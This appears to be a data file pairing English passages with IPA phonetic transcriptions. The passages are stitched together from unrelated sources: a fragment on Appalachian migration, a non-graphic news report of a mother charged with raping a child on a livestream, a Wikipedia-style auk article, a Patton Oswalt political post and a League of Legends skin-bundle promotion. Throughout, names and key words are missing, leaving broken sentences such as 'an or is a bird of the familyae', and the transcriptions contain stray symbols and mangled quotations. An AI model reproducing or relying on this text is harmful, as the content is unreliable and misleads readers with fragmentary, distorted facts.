ðɛn noʊn) ənd ˈstədid ɪts ˈreɪʃəl daɪˈnæmɪks fər hɪz bʊk, wɪn wi spik, ˈhɑrtɪgən sɪz ðət ðə ɪkˈspɪriəns əv pur ˌæpəˈlæʧən waɪts hu rɪˈmeɪnd ɪn brɪgz ˈwəzənt ˌrɛprɪˈzɛnətɪv əv ðə ˈlɑrʤər ˌæpəˈlæʧən maɪˈgreɪʃən. ðoʊz hu gɑt ʤɑbz muvd tɪ ðə ˈsəbərbz ɪn ðə ənd 80s*, hi sɪz, bət baɪ ðɪs pɔɪnt, ˈfæktəri ʤɑbz wər lɔŋ gɔn. ðoʊz lɛft bɪˈhaɪnd, ˈɔfən ðə ˈʧɪldrən əv ðoʊz ˈərli ˈmaɪgrənts, dɪd ɑd ʤɑbz ənd ˈɔfən ˈstrəgəld wɪθ ˈælkəˌhɑl ənd drəg əˈbjuz. "ðeɪ ˈdɪdənt hæv ðə kaɪnd əv ˌɑpərˈtunəti ðə ˈpɛrənts hæd," hi sɛd. |
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a mum has been charged with raping a boy after a vile attack was filmed and broadcast live on periscope.
india kirksey was dragged into court after police say she admitting performing the sex act on the young child in cincinnati, in the usa.
the from west price hill was arrested after someone watching the live stream more than miles away in texas called the authorities.
the judge threw kirksey behind bars at hamilton county jail, setting her bail bond at $350,000 (£282,000).
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kirksey's arrest comes just a week after she posted two videos on youtube of her to music.
in the videos she is in a bedroom, wearing small denim shorts and a white vest, as she dances for the camera while a child can be heard crying in the background. | ðə ˈvɪdioʊ wɪl stɑrt ɪn 8 ˈkænsəl gɪt ðə ˈbɪgəst ˈdeɪli nuz ˈstɔriz baɪ iˈmeɪl səbˈskraɪb θæŋk ju fər səbˈskraɪbɪŋ wi hæv mɔr ˈnuzˌlɛtərz ʃoʊ mi si ɑr ˈpraɪvəsi ˈnoʊtɪs kʊd nɑt səbˈskraɪb, traɪ əˈgɛn ˈleɪtər ˌɪnˈvæləd iˈmeɪl ə məm həz bɪn ʧɑrʤd wɪθ ˈreɪpɪŋ ə bɔɪ ˈæftər ə vaɪl əˈtæk wɑz fɪlmd ənd ˈbrɔdˌkæst lɪv ɔn ˈpɛrəˌskoʊp. ˈɪndiə ˈkərksi wɑz drægd ˈɪntu kɔrt ˈæftər pəˈlis seɪ ʃi ədˈmɪtɪŋ pərˈfɔrmɪŋ ðə sɛks ækt ɔn ðə jəŋ ʧaɪld ɪn ˌsɪnsəˈnæti, ɪn ðə ˈjuˈɛˈseɪ. ðə frəm wɛst praɪs hɪl wɑz ərˈɛstɪd ˈæftər ˈsəmˌwən ˈwɑʧɪŋ ðə lɪv strim mɔr ðən maɪəlz əˈweɪ ɪn ˈtɛksəs kɔld ðə əˈθɔrətiz. ðə ʤəʤ θru ˈkərksi bɪˈhaɪnd bɑrz æt ˈhæməltən ˈkaʊnti ʤeɪl, ˈsɛtɪŋ hər beɪl bɑnd æt (ˈɪmɪʤ: ˈhæməltən ˈkaʊnti ˈʃɛrɪf ˈɔfəs) (ˈɪmɪʤ: 5 ərˈɛst kəmz ʤɪst ə wik ˈæftər ʃi ˈpoʊstɪd tu ˈvɪdioʊz ɔn ˈjuˌtub əv hər tɪ mˈjuzɪk. ɪn ðə ˈvɪdioʊz ʃi ɪz ɪn ə ˈbɛˌdrum, ˈwɛrɪŋ smɔl ˈdɛnəm ʃɔrts ənd ə waɪt vɛst, ɛz ʃi ˈdænsɪz fər ðə ˈkæmərə waɪl ə ʧaɪld kən bi hərd kraɪɪŋ ɪn ðə ˈbækˌgraʊnd. |
this article is about a family of birds. for the ornithological journal, see the . for other meanings, see
"auklet" here. for the fishery patrol vessel, seelet
an or is a bird of the familyae in the orderes. the family includes the,,lets, puffins, and.
apart from the extinct great, alls are notable for their ability to "fly" under water as well as in the air. although they are excellent swimmers and divers, their walking appears clumsy.
several species have different common names in europe and north america. the of europe are referred to as in north america, if they occur in both continents, and the little is referred to as the dovekie.
description [ edit ]
auks are superficially similar to penguins having colours, upright posture and some of their habits. nevertheless, they are not closely related to penguins, but rather are believed to be an example of moderate convergent evolution.s are (males and females are similar in appearance).
extants range in size from the leastlet, at 85 g (3 oz) and 15 (5.9 in), to the murre, at 1 (2.2 lb) and 45 (18 in). due to their short wings,s have to flap their wings very quickly in order to fly.
although not to the extent of penguins,s have largely sacrificed flight, and also mobility on land, in exchange for swimming ability; their wings are a compromise between the best possible design for diving and the bare minimum needed for flying. this varies by subfamily, the (including the razorbill) and being the most efficient under the water, whereas the puffins andlets are better adapted for flying and walking.
feeding and ecology [ edit ]
the feeding behaviour ofs is often compared to that of penguins; both groups are pursuit divers. in the region wheres live, their only competition are cormorants (which are by their strong feet). in areas where the two groups feed on the same prey, thes tend to feed further offshore. hunt faster schooling fish, whereaslets take krill. time depth recorders ons have shown that they can dive as deep as 100 m in the case of, 40 m for the and 30 m for thelets.
breeding and colonies [ edit ]
auks are pelagic birds, spending the majority of their adult life on the open sea and going ashore only for breeding, although some species like the common spend a great part of the year defending their nesting spot from others.
auks are monogamous, and tend to form lifelong pairs. they typically lay a single egg, and they are (they use the nesting site year after year).
some species, such as the, nest in large colonies on cliff edges; others, like the, breed in small groups on rocky coasts; and the puffins,lets and some nest in burrows. all species except the are colonial.
evolution and distribution [ edit ]
traditionally, thes were believed to be one of the earliest distinct lineages due to their characteristic morphology. however, genetic analyses have demonstrated that these peculiarities are the product of strong natural selection instead: as opposed to, for example, plovers (a much older lineage),s radically changed from a wading shorebird to a diving lifestyle. thus, today, thes are no longer separated in their own ("alcae"), but are considered part of the which otherwise contains gulls and similar birds. judging from genetic data, their closest living relatives appear to be the skuas, with these two lineages separating about 30 million years ago] alternatively,s may have split off far earlier from the rest of the and undergone strong morphological, but slow genetic evolution, which would require a very high evolutionary pressure, coupled with a long lifespan and slow reproduction.
the earliest unequivocal fossils ofs are from the late eocene, some 35] the genus miocepphus, (from the miocene, 15 mya) is the earliest known from good specimens. two very fragmentary fossils are often assigned to theae, although this may not be correct: (late eocene) and (late oligocene). most extant genera are known to exist since the late miocene or early pliocene (c. 5 mya). miocene fossils have been found in both california and maryland, but the greater diversity of fossils and tribes in the pacific leads most scientists to conclude that it was there they first evolved, and it is in the miocene pacific that the first fossils of extant genera are found. early movement between the pacific and the atlantic probably happened to the south (since there was no northern opening to the atlantic), later movements across the arctic] the flightless subfamily mancallinae, which was apparently restricted to the pacific coast of southern north america and became extinct in the early pleistocene, is sometimes includes in the familyae under some definitions. one species, howardae, is the largest of all]
razorbills are trues only found in the atlantic ocean
the extants (subfamily alcinae) are broken up into 2 main groups: the usually puffins (tribe fraterculini) andlets (tribe aethiini), as opposed to the more and trues (tribe), and the and (tribes and cepphini). the tribal arrangement was originally based on analyses of morphology and] b sequence and] confirm these findings except that the should be split into a distinct tribe, as they appear more closely related to the in any case, assumption of a closer relationship between the former and the true was only weakly supported by earlier]
of the genera there are only a few species in each. this is probably a product of the rather small geographic range of the family (the most limited of any family), and the periods of glacial advance and retreat that have kept the populations on the move in a narrow band of ocean.
today, as in the past, thes are restricted to cooler northern waters. their ability to spread further south is restricted as their prey hunting method, pursuit diving, becomes less efficient in warmer waters. the speed at which small fish (which along with krill are the's principal food items) can swim doubles as the temperature increases from 5 to 15 °c (41 to 59 °f), with no corresponding increase in speed for the bird. the southernmosts, in california and mexico, can survive there because of cold upwellings. the current paucity ofs in the atlantic (6 species), compared to the pacific (19–20 species) is considered to be because of extinctions to the atlantics; the fossil record shows there were many more species in the atlantic during the pliocene.s also tend to be restricted to continental shelf waters and breed on few oceanic islands.
hydotherikornis (described by miller in 1931), the oldest purported from the eocene of california, is actually a (as reviewed by chandler in 1990) and is reassigned to the (procellariiformes). a 2003 paper entitled "the earliest north american record of (aves:ae) from the late eocene of central georgia" by robert m. chandler and dennis parmley of georgia college and state university reports a late eocene, diving, from the stage of the late eocene. these sediments have been dated through {north american land mammal age}, at an estimate of to million years on the eocene time scale for fossil bearing sediments of the formation, gordon, wilkinson county, georgia. furthermore, the sediments containing this portion of a left humerus (43.7 long) are tropical or as evidenced by a wealth of warm water shark teeth, snake vertebrae and turtles.
systematics [ edit ]
biodiversity ofs seems to have been markedly higher during the] see the genus accounts for prehistoric species.
see also [ edit ]
kiviak, a traditional inuit food from greenland that is made ofs preserved in seal skin
tradeoffs for locomotion in air and water
references [ edit ] | ðɪs ˈɑrtɪkəl ɪz əˈbaʊt ə ˈfæməli əv bərdz. fər ðə ˌɔrnɪθəˈlɔʤɪkəl ˈʤərnəl, si ðə fər ˈəðər ˈminɪŋz, si "auklet*" hir. fər ðə ˈfɪʃəri pəˈtroʊl ˈvɛsəl, si ən ər ɪz ə bərd əv ðə ˈfæməli ɪn ðə ˈɔrdər charadriiformes*. ðə ˈfæməli ˌɪnˈkludz ðə,,, ˈpəˌfɪnz, ənd. əˈpɑrt frəm ðə ɪkˈstɪŋkt greɪt, ɔl ər ˈnoʊtəbəl fər ðɛr əˈbɪləˌti tɪ "flaɪ" ˈəndər ˈwɔtər ɛz wɛl ɛz ɪn ðə ɛr. ˌɔlˈðoʊ ðeɪ ər ˈɛksələnt sˈwɪmərz ənd ˈdaɪvərz, ðɛr ˈwɔkɪŋ əˈpɪrz ˈkləmzi. ˈsɛvərəl ˈspiʃiz hæv ˈdɪfərənt ˈkɑmən neɪmz ɪn ˈjʊrəp ənd nɔrθ əˈmɛrɪkə. ðə əv ˈjʊrəp ər rɪˈfərd tɪ ɛz ɪn nɔrθ əˈmɛrɪkə, ɪf ðeɪ əˈkər ɪn boʊθ ˈkɑntənənts, ənd ðə ˈlɪtəl ɪz rɪˈfərd tɪ ɛz ðə dovekie*. dɪˈskrɪpʃən ˈɛdət ər ˈsupərˌfɪʃəli ˈsɪmələr tɪ ˈpɛŋgwənz ˈhævɪŋ colours*, ˈəˌpraɪt ˈpɑsʧər ənd səm əv ðɛr ˈhæbəts. ˌnɛvərðəˈlɛs, ðeɪ ər nɑt ˈkloʊsli rɪˈleɪtɪd tɪ ˈpɛŋgwənz, bət ˈrəðər ər bɪˈlivd tɪ bi ən ɪgˈzæmpəl əv ˈmɑdərˌeɪt kənˈvərʤənt ˌɛvəˈluʃən. ər (meɪlz ənd ˈfiˌmeɪlz ər ˈsɪmələr ɪn əˈpɪrəns). ˈɛkstənt reɪnʤ ɪn saɪz frəm ðə list, æt 85 ʤi 3 ɑz) ənd 15 ɪn), tɪ ðə murre*, æt 1 paʊnd) ənd 45 18 ɪn). du tɪ ðɛr ʃɔrt wɪŋz, hæv tɪ flæp ðɛr wɪŋz ˈvɛri kˈwɪkli ɪn ˈɔrdər tɪ flaɪ. ˌɔlˈðoʊ nɑt tɪ ðə ɪkˈstɛnt əv ˈpɛŋgwənz, hæv ˈlɑrʤli ˈsækrəˌfaɪst flaɪt, ənd ˈɔlsoʊ moʊˈbɪlɪti ɔn lænd, ɪn ɪksˈʧeɪnʤ fər sˈwɪmɪŋ əˈbɪləˌti; ðɛr wɪŋz ər ə ˈkɑmprəˌmaɪz bɪtˈwin ðə bɛst ˈpɑsəbəl dɪˈzaɪn fər ˈdaɪvɪŋ ənd ðə bɛr ˈmɪnəməm ˈnidɪd fər flaɪɪŋ. ðɪs ˈvɛriz baɪ ˈsəbˌfæməli, ðə (ˌɪnˈkludɪŋ ðə razorbill*) ənd biɪŋ ðə moʊst ɪˈfɪʃənt ˈəndər ðə ˈwɔtər, wɛˈræz ðə ˈpəˌfɪnz ənd ər ˈbɛtər əˈdæptɪd fər flaɪɪŋ ənd ˈwɔkɪŋ. ˈfidɪŋ ənd ɪˈkɑləʤi ˈɛdət ðə ˈfidɪŋ bɪˈheɪvjər əv ɪz ˈɔfən kəmˈpɛrd tɪ ðət əv ˈpɛŋgwənz; boʊθ grups ər pərˈsut ˈdaɪvərz. ɪn ðə ˈriʤən wɛr lɪv, ðɛr ˈoʊnli ˌkɑmpəˈtɪʃən ər ˈkɔrmərənts (wɪʧ ər baɪ ðɛr strɔŋ fit). ɪn ˈɛriəz wɛr ðə tu grups fid ɔn ðə seɪm preɪ, ðə tɛnd tɪ fid ˈfərðər ˈɔfˈʃɔr. hənt ˈfæstər ˈskulɪŋ fɪʃ, wɛˈræz teɪk krɪl. taɪm dɛpθ rɪˈkɔrdərz ɔn hæv ʃoʊn ðət ðeɪ kən daɪv ɛz dip ɛz 100 ɛm ɪn ðə keɪs əv, 40 ɛm fər ðə ənd 30 ɛm fər ðə. ˈbridɪŋ ənd ˈkɑləniz ˈɛdət ər pəˈlæʤɪk bərdz, ˈspɛndɪŋ ðə məˈʤɔrəti əv ðɛr ˈædəlt laɪf ɔn ðə ˈoʊpən si ənd goʊɪŋ əˈʃɔr ˈoʊnli fər ˈbridɪŋ, ˌɔlˈðoʊ səm ˈspiʃiz laɪk ðə ˈkɑmən spɛnd ə greɪt pɑrt əv ðə jɪr dɪˈfɛndɪŋ ðɛr ˈnɛstɪŋ spɑt frəm ˈəðərz. ər məˈnɑgəməs, ənd tɛnd tɪ fɔrm ˈlaɪˈflɔŋ pɛrz. ðeɪ ˈtɪpɪkəli leɪ ə ˈsɪŋgəl ɛg, ənd ðeɪ ər (ðeɪ juz ðə ˈnɛstɪŋ saɪt jɪr ˈæftər jɪr). səm ˈspiʃiz, səʧ ɛz ðə, nɛst ɪn lɑrʤ ˈkɑləniz ɔn klɪf ˈɛʤɪz; ˈəðərz, laɪk ðə, brid ɪn smɔl grups ɔn ˈrɑki koʊsts; ənd ðə ˈpəˌfɪnz, ənd səm nɛst ɪn bəroʊz. ɔl ˈspiʃiz ɪkˈsɛpt ðə ər kəˈloʊniəl. ˌɛvəˈluʃən ənd ˌdɪstrəˈbjuʃən ˈɛdət trəˈdɪʃənəli, ðə wər bɪˈlivd tɪ bi wən əv ðə ˈərliəst dɪˈstɪŋkt ˈlɪniɪʤɪz du tɪ ðɛr ˌkɛrɪktərˈɪstɪk mɔrˈfɑləʤi. ˌhaʊˈɛvər, ʤəˈnɛtɪk æˈnælɪˌsiz hæv ˈdɛmənˌstreɪtɪd ðət ðiz pɪˌkjuliˈɛrətiz ər ðə ˈprɑdəkt əv strɔŋ ˈnæʧərəl səˈlɛkʃən ˌɪnˈstɛd: ɛz əˈpoʊzd tɪ, fər ɪgˈzæmpəl, ˈpləvərz (ə məʧ ˈoʊldər ˈlɪniəʤ), ˈrædɪkli ʧeɪnʤd frəm ə ˈweɪdɪŋ ˈʃɔrˌbərd tɪ ə ˈdaɪvɪŋ ˈlaɪfˌstaɪl. ðəs, təˈdeɪ, ðə ər noʊ ˈlɔŋgər ˈsɛpərˌeɪtɪd ɪn ðɛr oʊn ("alcae*"), bət ər kənˈsɪdərd pɑrt əv ðə wɪʧ ˈəðərˌwaɪz kənˈteɪnz gəlz ənd ˈsɪmələr bərdz. ˈʤəʤɪŋ frəm ʤəˈnɛtɪk ˈdætə, ðɛr ˈkloʊsəst ˈlɪvɪŋ ˈrɛlətɪvz əˈpɪr tɪ bi ðə skuas*, wɪθ ðiz tu ˈlɪniɪʤɪz ˈsɛpərˌeɪtɪŋ əˈbaʊt 30 ˈmɪljən jɪrz əˈgoʊ ɔlˈtərnətɪvli, meɪ hæv splɪt ɔf fɑr ˈərliər frəm ðə rɛst əv ðə ənd ˌəndərˈgɔn strɔŋ ˌmɔrfəˈlɑʤɪkəl, bət sloʊ ʤəˈnɛtɪk ˌɛvəˈluʃən, wɪʧ wʊd ˌrikˈwaɪər ə ˈvɛri haɪ ˌɛvəˈluʃəˌnɛri ˈprɛʃər, ˈkəpəld wɪθ ə lɔŋ ˈlaɪfˌspæn ənd sloʊ ˌriprəˈdəkʃən. ðə ˈərliəst ˌənɪkˈwɪvəkəl ˈfɑsəlz əv ər frəm ðə leɪt ˈiəˌsin, səm 35 ðə ˈʤinəs miocepphus*, (frəm ðə ˈmaɪəˌsin, 15 mya*) ɪz ðə ˈərliəst noʊn frəm gʊd ˈspɛsəmənz. tu ˈvɛri ˈfrægmənˌtɛri ˈfɑsəlz ər ˈɔfən əˈsaɪnd tɪ ðə, ˌɔlˈðoʊ ðɪs meɪ nɑt bi kərˈɛkt: (leɪt ˈiəˌsin) ənd (leɪt ˈɑləgoʊˌsin). moʊst ˈɛkstənt ˈʤɛnərə ər noʊn tɪ ɪgˈzɪst sɪns ðə leɪt ˈmaɪəˌsin ər ˈərli ˈplaɪəˌsin (si. 5 mya*). ˈmaɪəˌsin ˈfɑsəlz hæv bɪn faʊnd ɪn boʊθ ˌkæləˈfɔrnjə ənd ˈmɛrələnd, bət ðə ˈgreɪtər dɪˈvərsɪti əv ˈfɑsəlz ənd traɪbz ɪn ðə pəˈsɪfɪk lidz moʊst ˈsaɪəntɪsts tɪ kənˈklud ðət ɪt wɑz ðɛr ðeɪ fərst ɪˈvɑlvd, ənd ɪt ɪz ɪn ðə ˈmaɪəˌsin pəˈsɪfɪk ðət ðə fərst ˈfɑsəlz əv ˈɛkstənt ˈʤɛnərə ər faʊnd. ˈərli ˈmuvmənt bɪtˈwin ðə pəˈsɪfɪk ənd ðə əˈtlæntɪk ˈprɑbəˌbli ˈhæpənd tɪ ðə saʊθ (sɪns ðɛr wɑz noʊ ˈnɔrðərn ˈoʊpənɪŋ tɪ ðə əˈtlæntɪk), ˈleɪtər ˈmuvmənts əˈkrɔs ðə ˈɑrtɪk ðə ˈflaɪtləs ˈsəbˌfæməli mancallinae*, wɪʧ wɑz əˈpɛrəntli riˈstrɪktɪd tɪ ðə pəˈsɪfɪk koʊst əv ˈsəðərn nɔrθ əˈmɛrɪkə ənd bɪˈkeɪm ɪkˈstɪŋkt ɪn ðə ˈərli ˈplaɪstəˌsin, ɪz ˈsəmˌtaɪmz ˌɪnˈkludz ɪn ðə ˈfæməli ˈəndər səm ˌdɛfəˈnɪʃənz. wən ˈspiʃiz, howardae*, ɪz ðə ˈlɑrʤəst əv ɔl ər tru ˈoʊnli faʊnd ɪn ðə əˈtlæntɪk ˈoʊʃən ðə ˈɛkstənt (ˈsəbˌfæməli alcinae*) ər ˈbroʊkən əp ˈɪntu 2 meɪn grups: ðə ˈjuʒəwəli ˈpəˌfɪnz (traɪb fraterculini*) ənd (traɪb aethiini*), ɛz əˈpoʊzd tɪ ðə mɔr ənd tru (traɪb), ənd ðə ənd (traɪbz ənd cepphini*). ðə ˈtraɪbəl ərˈeɪnʤmənt wɑz ərˈɪʤənəli beɪst ɔn æˈnælɪˌsiz əv mɔrˈfɑləʤi ənd bi ˈsikwəns ənd kənˈfərm ðiz ˈfaɪndɪŋz ɪkˈsɛpt ðət ðə ʃʊd bi splɪt ˈɪntu ə dɪˈstɪŋkt traɪb, ɛz ðeɪ əˈpɪr mɔr ˈkloʊsli rɪˈleɪtɪd tɪ ðə ɪn ˈɛni keɪs, əˈsəmpʃən əv ə ˈkloʊzər riˈleɪʃənˌʃɪp bɪtˈwin ðə ˈfɔrmər ənd ðə tru wɑz ˈoʊnli ˈwikli səˈpɔrtɪd baɪ ˈərliər əv ðə ˈʤɛnərə ðɛr ər ˈoʊnli ə fju ˈspiʃiz ɪn iʧ. ðɪs ɪz ˈprɑbəˌbli ə ˈprɑdəkt əv ðə ˈrəðər smɔl ˌʤiəˈgræfɪk reɪnʤ əv ðə ˈfæməli (ðə moʊst ˈlɪmɪtɪd əv ˈɛni ˈfæməli), ənd ðə ˈpɪriədz əv ˈgleɪʃəl ədˈvæns ənd riˈtrit ðət hæv kɛpt ðə ˌpɑpjəˈleɪʃənz ɔn ðə muv ɪn ə ˈnɛroʊ bænd əv ˈoʊʃən. təˈdeɪ, ɛz ɪn ðə pæst, ðə ər riˈstrɪktɪd tɪ ˈkulər ˈnɔrðərn ˈwɔtərz. ðɛr əˈbɪləˌti tɪ sprɛd ˈfərðər saʊθ ɪz riˈstrɪktɪd ɛz ðɛr preɪ ˈhəntɪŋ ˈmɛθəd, pərˈsut ˈdaɪvɪŋ, bɪˈkəmz lɛs ɪˈfɪʃənt ɪn ˈwɔrmər ˈwɔtərz. ðə spid æt wɪʧ smɔl fɪʃ (wɪʧ əˈlɔŋ wɪθ krɪl ər ðə ˈprɪnsəpəl fud ˈaɪtəmz) kən swɪm ˈdəbəlz ɛz ðə ˈtɛmpərəʧər ˌɪnˈkrisɪz frəm 5 tɪ 15 41 tɪ 59 °°f*), wɪθ noʊ ˌkɔrəˈspɑndɪŋ ˌɪnˈkris ɪn spid fər ðə bərd. ðə ˈsəðərnˌmoʊst, ɪn ˌkæləˈfɔrnjə ənd ˈmɛksəˌkoʊ, kən sərˈvaɪv ðɛr bɪˈkəz əv koʊld upwellings*. ðə ˈkɑrənt ˈpɔsəˌti əv ɪn ðə əˈtlæntɪk 6 ˈspiʃiz), kəmˈpɛrd tɪ ðə pəˈsɪfɪk ˈspiʃiz) ɪz kənˈsɪdərd tɪ bi bɪˈkəz əv ɪkˈstɪŋʃənz tɪ ðə əˈtlæntɪk; ðə ˈfɑsəl ˈrɛkərd ʃoʊz ðɛr wər ˈmɛni mɔr ˈspiʃiz ɪn ðə əˈtlæntɪk ˈdʊrɪŋ ðə ˈplaɪəˌsin. ˈɔlsoʊ tɛnd tɪ bi riˈstrɪktɪd tɪ ˌkɑntəˈnɛnəl ʃɛlf ˈwɔtərz ənd brid ɔn fju ˌoʊʃiˈænɪk ˈaɪləndz. (dɪˈskraɪbd baɪ ˈmɪlər ɪn 1931 ðə ˈoʊldəst pərˈpɔrtɪd frəm ðə ˈiəˌsin əv ˌkæləˈfɔrnjə, ɪz ˈæˌkʧuəli ə (ɛz rivˈjud baɪ ˈʧændlər ɪn 1990 ənd ɪz ˌriəˈsaɪnd tɪ ðə (procellariiformes*). ə 2003 ˈpeɪpər ɛnˈtaɪtəld "ðə ˈərliəst nɔrθ əˈmɛrɪkən ˈrɛkərd əv (aves*:) frəm ðə leɪt ˈiəˌsin əv ˈsɛntrəl ˈʤɔrʤə" baɪ ˈrɑbərt ɛm. ˈʧændlər ənd ˈdɛnɪs ˈpɑrmli əv ˈʤɔrʤə ˈkɑlɪʤ ənd steɪt ˌjunəˈvərsəti rɪˈpɔrts ə leɪt ˈiəˌsin, ˈdaɪvɪŋ, frəm ðə steɪʤ əv ðə leɪt ˈiəˌsin. ðiz ˈsɛdəmənts hæv bɪn ˈdeɪtɪd θru {nɔrθ əˈmɛrɪkən lænd ˈmæməl eɪʤ}, æt ən ˈɛstəˌmeɪt əv tɪ ˈmɪljən jɪrz ɔn ðə ˈiəˌsin taɪm skeɪl fər ˈfɑsəl ˈbɛrɪŋ ˈsɛdəmənts əv ðə fɔrˈmeɪʃən, ˈgɔrdən, ˈwɪlkɪnsən ˈkaʊnti, ˈʤɔrʤə. ˈfərðərˌmɔr, ðə ˈsɛdəmənts kənˈteɪnɪŋ ðɪs ˈpɔrʃən əv ə lɛft ˈhjumərəs lɔŋ) ər ˈtrɑpɪkəl ər ɛz ˈɛvɪdənst baɪ ə wɛlθ əv wɔrm ˈwɔtər ʃɑrk tiθ, sneɪk ˈvərtəˌbreɪ ənd ˈtərtəlz. ˌsɪstəˈmætɪks ˈɛdət ˌbaɪoʊdaɪˈvərsəti əv simz tɪ hæv bɪn ˈmɑrkɪdli haɪər ˈdʊrɪŋ ðə si ðə ˈʤinəs əˈkaʊnts fər ˌprihɪˈstɔrɪk ˈspiʃiz. si ˈɔlsoʊ ˈɛdət kiviak*, ə trəˈdɪʃənəl ˈɪnut fud frəm ˈgrinˌlænd ðət ɪz meɪd əv prɪˈzərvd ɪn sil skɪn ˈtreɪˌdɔfs fər ˌloʊkəˈmoʊʃən ɪn ɛr ənd ˈwɔtər ˈrɛfərənsɪz ˈɛdət |
comedian patton oswalt has officially had enough with both republicans and democrats after the latest political scandal to erupt in the wake of donald presidential victory.
following the release of a cia report that concluded russian hackers interfered with the election to help secure the white house for trump, oswalt shared a post on facebook expressing his disgust at the state of american politics.
“these newest revelations, that russia hacked the election. piles of evidence, teetering up to the sky. that russia also hacked the [republican national committee] and are holding them over a barrel because of what they know. which would be hilarious if it so frightening,” he wrote on saturday.
“and the boiling chaos resulting from it. got conservative friends actually defending russia on this,” oswalt continued. “i’ve got progressive friends gloating that finally had done to us what done to other countries. that hillary somehow deserves this. that we somehow deserve this. that infuriating cliche about, ‘it’s actually good if trump destroys everything start a revolution blah blah blah blah.’”
on friday evening, transition team dismissed the cia report as a fabrication in a statement that also described the intelligence agency as “the same people that said saddam hussein had weapons of mass destruction.”
“it’s time to move on and ‘make america great again,’” the statement said.
but oswalt, for one, is putting his foot down and refusing to normalize the president-elect, whom he likens to a “grope-y, racist uncle who just won $50,000 playing scratch-offs.”
“in the middle of it all is trump bloated, grinning, oblivious, wearing his cheap baseball cap and ruining lives with his twitter,” oswalt wrote. “while all around him smarter, better, exhausted people scramble around, trying to sweep up a china shop he keeps stumbling through, laughing the whole time at these stupid nerds picking up the broken pieces on the ground.” | kəˈmidiən ˈpætən ˈɑswəlt həz əˈfɪʃəli hæd ɪˈnəf wɪθ boʊθ rɪˈpəblɪkənz ənd ˈdɛməˌkræts ˈæftər ðə ˈleɪtəst pəˈlɪtɪkəl ˈskændəl tɪ ˈirəpt ɪn ðə weɪk əv ˈdɑnəld ˌprɛzɪˈdɛnʃəl ˈvɪktəri. ˈfɑloʊɪŋ ðə riˈlis əv ə siaɪeɪ rɪˈpɔrt ðət kənˈkludɪd ˈrəʃən ˈhækərz ˌɪnərˈfɪrd wɪθ ðə ɪˈlɛkʃən tɪ hɛlp sɪˈkjʊr ðə waɪt haʊs fər trəmp, ˈɑswəlt ʃɛrd ə poʊst ɔn ˈfeɪsˌbʊk ɪkˈsprɛsɪŋ hɪz dɪsˈgəst æt ðə steɪt əv əˈmɛrɪkən ˈpɑləˌtɪks. nuəst ˌrɛvəˈleɪʃənz, ðət ˈrəʃə hækt ðə ɪˈlɛkʃən. paɪlz əv ˈɛvədəns, ˈtitərɪŋ əp tɪ ðə skaɪ. ðət ˈrəʃə ˈɔlsoʊ hækt ðə [rɪˈpəblɪkən ˈnæʃənəl kəˈmɪti] ənd ər ˈhoʊldɪŋ ðɛm ˈoʊvər ə ˈbɛrəl bɪˈkəz əv wət ðeɪ noʊ. wɪʧ wʊd bi hɪˈlɛriəs ɪf ɪt soʊ frightening,”*,” hi roʊt ɔn ˈsæˌtɪˌdeɪ. ðə ˈbɔɪlɪŋ keɪɑs rɪˈzəltɪŋ frəm ɪt. gɑt kənˈsərvətɪv frɛndz ˈæˌkʧuəli dɪˈfɛndɪŋ ˈrəʃə ɔn this,”*,” ˈɑswəlt kənˈtɪnjud. gɑt prəˈgrɛsɪv frɛndz ˈgloʊtɪŋ ðət ˈfaɪnəli hæd dən tɪ ˈjuˈɛs wət dən tɪ ˈəðər ˈkəntriz. ðət ˈhɪləri ˈsəmˌhaʊ dɪˈzərvz ðɪs. ðət wi ˈsəmˌhaʊ dɪˈzərv ðɪs. ðət ˌɪnfˈjʊriˌeɪtɪŋ kliˈʃeɪ əˈbaʊt, ˈæˌkʧuəli gʊd ɪf trəmp dɪˈstrɔɪz ˈɛvriˌθɪŋ stɑrt ə ˌrɛvəˈluʃən blɑ blɑ blɑ blah.’”*.’” ɔn ˈfraɪˌdeɪ ˈivnɪŋ, trænˈzɪʃən tim dɪsˈmɪst ðə siaɪeɪ rɪˈpɔrt ɛz ə ˌfæbrɪˈkeɪʃən ɪn ə ˈsteɪtmənt ðət ˈɔlsoʊ dɪˈskraɪbd ðə ˌɪnˈtɛləʤəns ˈeɪʤənsi ɛz seɪm ˈpipəl ðət sɛd ˈsɑdəm huˈseɪn hæd ˈwɛpənz əv mæs destruction.”*.” taɪm tɪ muv ɔn ənd əˈmɛrɪkə greɪt again,’”*,’” ðə ˈsteɪtmənt sɛd. bət ˈɑswəlt, fər wən, ɪz ˈpʊtɪŋ hɪz fʊt daʊn ənd rɪfˈjuzɪŋ tɪ ˈnɔrməˌlaɪz ðə president-elect*, hum hi ˈlaɪkənz tɪ ə ““grope-y*, ˈreɪsɪst ˈəŋkəl hu ʤɪst wən pleɪɪŋ scratch-offs.”*.” ðə ˈmɪdəl əv ɪt ɔl ɪz trəmp ˈbloʊtɪd, ˈgrɪnɪŋ, əˈblɪviəs, ˈwɛrɪŋ hɪz ʧip ˈbeɪsˈbɔl kæp ənd ˈruɪnɪŋ lɪvz wɪθ hɪz twitter,”*,” ˈɑswəlt roʊt. ɔl əraʊnd ɪm sˈmɑrtər, ˈbɛtər, ɪgˈzɔstɪd ˈpipəl ˈskræmbəl əraʊnd, traɪɪŋ tɪ swip əp ə ˈʧaɪnə ʃɑp hi kips ˈstəmbəlɪŋ θru, ˈlæfɪŋ ðə hoʊl taɪm æt ðiz ˈstupɪd nərdz ˈpɪkɪŋ əp ðə ˈbroʊkən ˈpisɪz ɔn ðə ground.”*.” |
new patch time is approaching, summoners! and with it comes a new batch of content. here's the deal:, annie, and that ever devious warwick are getting costume changes. is going from battle mistress to warrior princess. miss annie will be skipping through the fields of justice in her little red hood. and if you look close, you might catch a glimpse of that sly warwick camouflaged in grandma's nightgown. warrior princess, red riding annie, and big bad warwick will all be yours for the taking in the new patch.
in addition to these new skins, the might of is joining the fray. that's right:) is on his way.
garen bundles
not one to be left out of the costume party, has a few wardrobe changes locked away in his armory. if you're down for a darker, crimson look, you can pick up the sanguine bundle and save 50% on the skin. but if you're really looking to your enemies withn justice in style, you can grab both the sanguine and desert trooper skins for a greatly reduced price.
sanguine bundle
save 50% on the sanguine skin when you purchase the champion and skin together.
- champion + sanguine skin (normally 1105 rp) will be only 845 rp!
garen double bundle
save 40% on both the desert trooper skin and the sanguine skin when you purchase the champion and skins together.
- champion + desert trooper skin + sanguine skin (normally 1625 rp) will be only 1209 rp!
these bundles will be available only until the end of the weekend following the patch, so don't miss out! click on the bundles tab in the store to purchase these bundles before it's too late!
